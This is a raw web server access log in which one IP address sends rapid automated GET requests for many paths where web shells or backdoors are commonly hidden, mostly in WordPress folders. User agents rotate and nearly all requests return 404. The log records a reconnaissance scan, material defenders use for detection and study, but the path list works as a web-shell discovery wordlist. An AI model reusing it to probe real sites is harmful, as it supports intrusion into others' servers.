"GET /wp-includes/Text/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:24 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:24 +0300] "GET /text.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:24 +0300] "GET /xc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:24 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:24 +0300] "GET /wp-admin/images/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:25 +0300] "GET /1.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:25 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:25 +0300] "GET /filemanager/dialog.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:25 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:25 +0300] "GET /bk/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:25 +0300] "GET /css/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:25 +0300] "GET /go.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:25 +0300] "GET /files/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:25 +0300] "GET /byp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:26 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:26 +0300] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:26 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:26 +0300] "GET /gawean.PhP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:26 +0300] "GET /baxa1.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:39:26 +0300] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:26 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:26 +0300] "GET /click.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:27 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:27 +0300] "GET /wp-content/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:27 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:27 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:27 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:27 +0300] "GET /baxa1.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:39:27 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:39:27 +0300] "GET /in.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:28 +0300] "GET /geju.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:28 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:28 +0300] "GET /wp-signup.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:28 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:28 +0300] "GET /elp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:28 +0300] "GET /wp-includes/makeasmtp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:28 +0300] "GET /wp-includes/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:28 +0300] "GET /chosen-667.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:28 +0300] "GET /network.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:39:29 +0300] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:29 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:29 +0300] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:29 +0300] "GET /wp-admin/x.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:29 +0300] "GET /yanz.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:29 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:29 +0300] "GET /wp-content/upgrade/function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:30 +0300] "GET /wp-admin/maint/go.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:39:30 +0300] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:30 +0300] "GET /worm0.PhP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:30 +0300] "GET /wp-content/cong.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:30 +0300] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:30 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:30 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:30 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:30 +0300] "GET /wp-content/plugins/seooyanz/wsoyanzv3.7.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:39:31 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:39:31 +0300] "GET /edit.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:31 +0300] "GET /first.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:31 +0300] "GET /admin/log.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:31 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:31 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:31 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:31 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:32 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:32 +0300] "GET /wp-includes/bak.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:32 +0300] "GET /bs1.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:32 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:32 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:32 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:32 +0300] "GET /cron.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:32 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:32 +0300] "GET /db.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:33 +0300] "GET /fm.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:39:33 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:33 +0300] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:33 +0300] "GET /a.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:39:33 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:33 +0300] "GET /wp-includes/themes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:33 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:33 +0300] "GET /back.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:34 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:39:34 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:34 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:34 +0300] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:39:34 +0300] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:34 +0300] "GET /new.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:34 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:34 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:35 +0300] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:35 +0300] "GET /phpfm3.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:39:35 +0300] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:35 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:35 +0300] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:39:35 +0300] "GET /post.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:35 +0300] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:35 +0300] "GET /wp-admin/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:36 +0300] "GET /wp-admin/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:36 +0300] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:36 +0300] "GET /wp-includes/block-supports/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:36 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:39:36 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:36 +0300] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:36 +0300] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:36 +0300] "GET /randkeyword.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:36 +0300] "GET /wp-content/plugins/awesome-coming-soon/flower.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:37 +0300] "GET /xxx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:37 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:37 +0300] "GET /ulc6.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:37 +0300] "GET /lv.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:37 +0300] "GET /zip.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:37 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 404 